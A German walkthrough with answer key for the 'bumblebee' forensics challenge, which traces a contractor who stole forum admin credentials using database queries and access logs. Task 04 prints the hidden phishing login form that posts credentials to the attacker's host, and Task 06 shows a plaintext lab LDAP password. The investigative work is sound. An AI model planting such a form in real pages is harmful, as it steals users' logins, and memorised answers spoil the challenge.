bumblebee

Veröffentlicht2023-11-13
Retired2024-01-04
Autorblitztide

Szenario

Ein externer Auftragnehmer hat das interne Forum hier bei Forela über das Gäste-WLAN aufgerufen, und es sieht so aus, als ob sie Anmeldedaten für den administrativen Benutzer gestohlen haben! Wir haben einige Protokolle aus dem Forum sowie einen vollständigen Datenbankdump im sqlite3-Format angehängt, um Ihnen bei Ihrer Untersuchung zu helfen.


Task 01

Frage: Was war der Benutzername des externen Auftragnehmers?
Original: What was the username of the external contractor?

Teil der Daten ist auch die sqlite Datenbank des Forums.

    sqlite> select user_id, user_type, user_ip, user_regdate, username_clean, user_email from phpbb_users where user_ip != "";
    2|3|10.255.254.2|1681296980|admin|admin@forela.co.uk
    48|3|10.255.254.2|1681298337|phpbb-admin|phpbb-admin@mailinator.com
    49|0|10.255.254.2|1681298949|test|
    50|0|10.255.254.2|1681827495|rsavage001|
    51|0|10.10.0.78|1682420899|apoole|apoole@contractor.net
    52|0|10.10.0.78|1682424941|apoole1|apoole1@contractor.net

Antwort: apoole1


Task 02

Frage: Welche IP-Adresse hat der Auftragnehmer verwendet, um sein Konto zu erstellen?
Original: What IP address did the contractor use to create their account?

Mit Hilfe des Query aus Task 1 kann ebenfalls die zuletzt genutzte IP des Nutzers aus der gleichen Tabelle phpbb_users ausgelesen werden.

Antwort: 10.10.0.78


Task 03

Frage: Was ist die post_id des schädlichen Beitrags, den der Auftragnehmer erstellt hat?
Original: What is the post_id of the malicious post that the contractor made?

In der gleichen Datenbank werden auch die einzelnen Posts des Forums gelistet. Dazu kann die phpbb_posts Tabelle ausgelesen und gefiltert werden.

    sqlite> select post_id, poster_id, poster_ip, post_time, post_subject from phpbb_posts;
    1|2|10.255.254.2|1681296980|Welcome to phpBB3
    2|50|10.255.254.2|1681832510|Introduction Randy Savage
    9|52|10.10.0.78|1682425042|Hello Everyone

Der einzige Post von der bekannten poster_id (entspricht der user_id aus Task 1) von der bekannten IP ist der letzte Post mit dem Titel “Hello Everyone”.

Antwort: 9


Task 04

Frage: Was ist die vollständige URI, zu der der Credential-Stealer seine Daten sendet?
Original: What is the full URI that the credential stealer sends its data to?

Zur Analyse des Posts der zum Diebstahl der Zugangsdaten genutzt wurde muss post_text aus der zuvor genannten Tabelle phpbb_posts ausgewertet werden. Hierbei handelt es sich, anders als bei den anderen Posts, um einen Beitrag der um nicht-sichtbares HTML+JS ergänzt wurde und so im Forum dargestellt wurde. Interessant ist hierbei das nachfolgende form Element

<form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username"
    target="hiddenframe">
    <div class="panel">
        <div class="inner">
            <div class="content">
                <h2 class="login-title">Login</h2>
                <fieldset class="fields1">
                    <dl>
                        <dt><label for="username">Username:</label></dt>
                        <dd><input type="text" tabindex="1" name="username" id="username" size="25"
                                value="" class="inputbox autowidth"></dd>
                    </dl>
                    <dl>
                        <dt><label for="password">Password:</label></dt>
                        <dd><input type="password" tabindex="2" id="password" name="password" size="25"
                                class="inputbox autowidth" autocomplete="off"></dd>
                    </dl>
                    <dl>
                        <dd><label for="autologin"><input type="checkbox" name="autologin"
                                    id="autologin" tabindex="4">Remember me</label></dd>
                        <dd><label for="viewonline"><input type="checkbox" name="viewonline"
                                    id="viewonline" tabindex="5">Hide my online status this
                                session</label></dd>
                    </dl>
                    <dl>
                        <dt>&nbsp;</dt>
                        <dd><input type="submit" name="login" tabindex="6" value="Login"
                                class="button1" onclick="sethidden()"></dd>
                    </dl>
                </fieldset>
            </div>
        </div>
    </div>
</form>

Antwort: http://10.10.0.78/update.php


Task 05

Frage: Wann hat sich der Auftragnehmer als Administrator im Forum angemeldet? (UTC)
Original: When did the contractor log into the forum as the administrator? (UTC)

Für den Zeitpunkt des Logins kann das access.log, eine Protokolldatei die Zugriffe im Common Log Format archiviert hat, ausgewertet werden. Besonders interessant für den Login eines Administrators sind dabei die Anfragen die auf einen besonders geschützen Bereich gehen, in diesem Fall /adm/.

386
387
388
389
390
391
392
393
10.10.0.78 - - [26/Apr/2023:11:53:06 +0100] "GET /adm/index.php?sid=0bc281afeb61c3b9433da9871518295e HTTP/1.1" 200 3716 "http://10.10.0.27/index.php?sid=0bc281afeb61c3b9433da9871518295e" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:53:12 +0100] "POST /adm/index.php?sid=0bc281afeb61c3b9433da9871518295e HTTP/1.1" 302 849 "http://10.10.0.27/adm/index.php?sid=0bc281afeb61c3b9433da9871518295e" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:53:12 +0100] "GET /adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577 HTTP/1.1" 302 318 "http://10.10.0.27/adm/index.php?sid=0bc281afeb61c3b9433da9871518295e" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:53:12 +0100] "GET /adm/index.php?i=acp_help_phpbb&mode=help_phpbb&sid=eca30c1b75dc3eed1720423aa1ff9577 HTTP/1.1" 200 11867 "http://10.10.0.27/adm/index.php?sid=0bc281afeb61c3b9433da9871518295e" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:53:12 +0100] "GET /adm/style/ajax.js?assets_version=4 HTTP/1.1" 200 3773 "http://10.10.0.27/adm/index.php?i=acp_help_phpbb&mode=help_phpbb&sid=eca30c1b75dc3eed1720423aa1ff9577" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:53:12 +0100] "GET /adm/style/admin.js?assets_version=4 HTTP/1.1" 200 2568 "http://10.10.0.27/adm/index.php?i=acp_help_phpbb&mode=help_phpbb&sid=eca30c1b75dc3eed1720423aa1ff9577" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:53:12 +0100] "GET /assets/javascript/jquery.min.js HTTP/1.1" 200 34113 "http://10.10.0.27/adm/index.php?i=acp_help_phpbb&mode=help_phpbb&sid=eca30c1b75dc3eed1720423aa1ff9577" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
10.10.0.78 - - [26/Apr/2023:11:53:17 +0100] "GET /adm/index.php?sid=eca30c1b75dc3eed1720423aa1ff9577&i=12 HTTP/1.1" 200 3382 "http://10.10.0.27/adm/index.php?i=acp_help_phpbb&mode=help_phpbb&sid=eca30c1b75dc3eed1720423aa1ff9577" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"

Durch die Angabe +0100 muss zur Ausgabe der geforderten UTC Zeit die angezeigte Zeit korrigiert werden.

Antwort: 26/04/2023 10:53:12


Task 06

Frage: Im Forum befinden sich im Klartext Zugangsdaten für die LDAP-Verbindung. Was ist das Passwort?
Original: In the forum there are plaintext credentials for the LDAP connection, what is the password?

Hierfür kann die Konfigurationstabelle phpbb_config ausgelesen werden und nach Angaben zu LDAP gesucht werden.

    sqlite> select * from phpbb_config where config_name like "%ldap%";
    ldap_base_dn|OU=Forela,DC=forela,DC=local|0
    ldap_email||0
    ldap_password|Passw0rd1|0
    ldap_port||0
    ldap_server|10.10.0.11|0
    ldap_uid|sAMAccountName|0
    ldap_user|CN=phpbb-admin,OU=Service,OU=Forela,DC=forela,DC=local|0
    ldap_user_filter||0

Antwort: Passw0rd1


Task 07

Frage: Was ist der User Agent des Administrator-Benutzers?
Original: What is the user agent of the Administrator user?

Teil der in Task 5 genutzten access.log Datei sind auch die User Agents der Anfragen.

30
31
32
33
10.255.254.2 - - [25/Apr/2023:12:09:04 +0100] "GET /app.php/feed?sid=0929f9a0759af2b8852c20426857aab2 HTTP/1.1" 200 1742 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:09:07 +0100] "POST /adm/index.php?sid=0929f9a0759af2b8852c20426857aab2 HTTP/1.1" 302 848 "http://10.10.0.27/adm/index.php?sid=0929f9a0759af2b8852c20426857aab2" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:09:07 +0100] "GET /adm/index.php?sid=041ca559047513ba2267dfc066187582 HTTP/1.1" 200 4926 "http://10.10.0.27/adm/index.php?sid=0929f9a0759af2b8852c20426857aab2" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
10.255.254.2 - - [25/Apr/2023:12:09:09 +0100] "GET /adm/index.php?sid=041ca559047513ba2267dfc066187582&i=acp_users&mode=overview HTTP/1.1" 200 3115 "http://10.10.0.27/adm/index.php?sid=041ca559047513ba2267dfc066187582" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"

Antwort: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36


Task 08

Frage: Wann hat der Auftragnehmer sich selbst zur Administrator-Gruppe hinzugefügt? (UTC)
Original: What time did the contractor add themselves to the Administrator group? (UTC)

Den Zeitpunkt für die Aktion kann ebenfalls aus der access.log abgelesen werden, zusätzlich muss hierbei der Pfad und die Parameter der Anfragen beachtet werden. Hierfür können zusätzliche Informationen aus der SQLite Datenbank genutzt werden.

    sqlite> select group_id, group_name from phpbb_groups;
    6|BOTS
    1|GUESTS
    7|NEWLY_REGISTERED
    2|REGISTERED
    3|REGISTERED_COPPA
    5|ADMINISTRATORS
    4|GLOBAL_MODERATORS

Der zugehörige POST Request enthält die oben gefundene group_id 5 sowie einen Parameter i=acp_groups und die Anwesiungen mode=manage sowie action=list was auf eine Änderung der Mitgliedsliste einer Gruppe deutet.

398
    10.10.0.78 - - [26/Apr/2023:11:53:51 +0100] "POST /adm/index.php?i=acp_groups&sid=eca30c1b75dc3eed1720423aa1ff9577&icat=12&mode=manage&g=5 HTTP/1.1" 200 2623 "http://10.10.0.27/adm/index.php?i=acp_groups&sid=eca30c1b75dc3eed1720423aa1ff9577&icat=12&mode=manage&action=list&g=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"

Eine weitere Option diese Information zu erhalten stellt das interne Log der SQLite Datenbank dar.

    sqlite> select * from phpbb_log;
    49|0|48|0|0|0|0|10.255.254.2|1682352616|LOG_CLEAR_ADMIN|
    50|0|48|0|0|0|0|10.255.254.2|1682353038|LOG_CONFIG_REGISTRATION|
    51|0|48|0|0|0|0|10.255.254.2|1682353166|LOG_ACL_ADD_FORUM_LOCAL_F_|a:2:{i:0;s:7:"Welcome";i:1;s:41:"<span class="sep">Registered users</span>";}
    52|0|48|0|0|0|0|10.255.254.2|1682420947|LOG_ADMIN_AUTH_SUCCESS|
    53|3|48|0|0|0|51|10.255.254.2|1682420960|LOG_USER_NEW_PASSWORD|a:1:{i:0;s:6:"apoole";}
    54|0|48|0|0|0|0|10.255.254.2|1682420962|LOG_USER_USER_UPDATE|a:1:{i:0;s:6:"apoole";}
    55|0|48|0|0|0|0|10.255.254.2|1682420963|LOG_USER_USER_UPDATE|a:1:{i:0;s:6:"apoole";}
    56|0|48|0|0|0|0|10.255.254.2|1682423167|LOG_EXT_ENABLE|a:1:{i:0;s:13:"rokx/dborldap";}
    57|0|48|0|0|0|0|10.255.254.2|1682423251|LOG_CONFIG_AUTH|
    58|3|48|0|0|0|51|10.255.254.2|1682423286|LOG_USER_NEW_PASSWORD|a:1:{i:0;s:6:"apoole";}
    59|0|48|0|0|0|0|10.255.254.2|1682423286|LOG_USER_USER_UPDATE|a:1:{i:0;s:6:"apoole";}
    60|0|48|0|0|0|0|10.255.254.2|1682424836|LOG_CONFIG_AUTH|
    61|0|48|0|0|0|0|10.10.0.78|1682506392|LOG_ADMIN_AUTH_SUCCESS|
    62|0|48|0|0|0|0|10.10.0.78|1682506431|LOG_USERS_ADDED|a:2:{i:0;s:14:"Administrators";i:1;s:6:"apoole";}
    63|0|48|0|0|0|0|10.10.0.78|1682506471|LOG_DB_BACKUP|

Der hier genutzte Timestamp ist in Unixzeit angegeben, die die vergangenen Sekunden seit dem 01.01.1970 zählt.

    # date -u -d @1682506431
    Wed Apr 26 10:53:51 AM UTC 2023

Antwort: 26/04/2023 10:53:51


Task 09

Frage: Wann hat der Auftragnehmer die Datenbank-Sicherung heruntergeladen? (UTC)
Original: What time did the contractor download the database backup? (UTC)

Aus dem SQLite Log der phpbb Anwendung ist das Erstellen eines Backups um 10:54:31 ersichtlich, der Download muss also danach geschehen sein.

    # date -u -d @1682506471
    Wed Apr 26 10:54:31 AM UTC 2023

Dazu kann das access.log genutzt werden und dabei auf URL Pfade oder Dateinamen geachtet werden die auf eine Backup deuten.

436
    10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200 34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"

Antwort: 26/04/2023 11:01:38


Task 10

Frage: Wie groß war die Datenbanksicherung in Bytes, wie in der access.log angegeben?
Original: What was the size in bytes of the database backup as stated by access.log?

Die Anfrage aus Task 9 liefert die Dateigröße gemäß Dokumentation an Stelle 7, wobei die Stellen 2 und 3 durch “-” als nicht-vorhandene Information gekennzeichnet sind.

Antwort: 34707